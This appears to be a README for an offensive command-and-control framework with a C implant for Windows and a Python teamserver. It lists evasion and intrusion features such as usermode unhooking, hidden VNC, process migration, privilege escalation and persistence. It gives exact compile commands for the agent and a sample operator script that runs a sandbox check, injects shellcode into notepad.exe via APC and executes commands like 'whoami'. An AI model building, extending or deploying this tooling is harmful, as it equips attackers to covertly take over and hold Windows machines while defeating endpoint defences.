A simple C2 framework. Made in pure C for agent, Python for teamserver, web UI for clients.
- Scriptable
- Beacon object files
- Usermode unhooking
- Modular C2
- Traffic encryption
- Screenshare support
- HVNC
- SOCKS5 proxy
- Process migration
- Revive on crash
- Privilege escalation
- Persistence
Designed to compile with the mingw GCC Compiler. Compile agent with x86_64-w64-mingw32-gcc agent/main.c -s -Os -lws2_32 -lwininet -m64 -luser32 -lgdi32 -lole32 -lshlwapi -ladvapi32 -lurlmon -mwindows -o main.exe
, sample BOF with x86_64-w64-mingw32-gcc bof/dlldemo.c -shared -o dlldemo.dll -m64
, run server with python3 server/server.py
Sample script:
unhook
sandbox
print "test" -> popint
shc_inject_apc "C:\Windows\System32\notepad.exe" hex([hex]) FALSE
print "asdf"
exec "echo \"lorem ipsum dolor sit\""
msgbox "title" "data \"big data\""
exec "dir"
sleep 3000
exec "whoami"
swap_c2 socks 127.0.0.1 6968 1000
- Add more documentation
- Add more commands
- Make stager/shellcode
- Add agent builder UI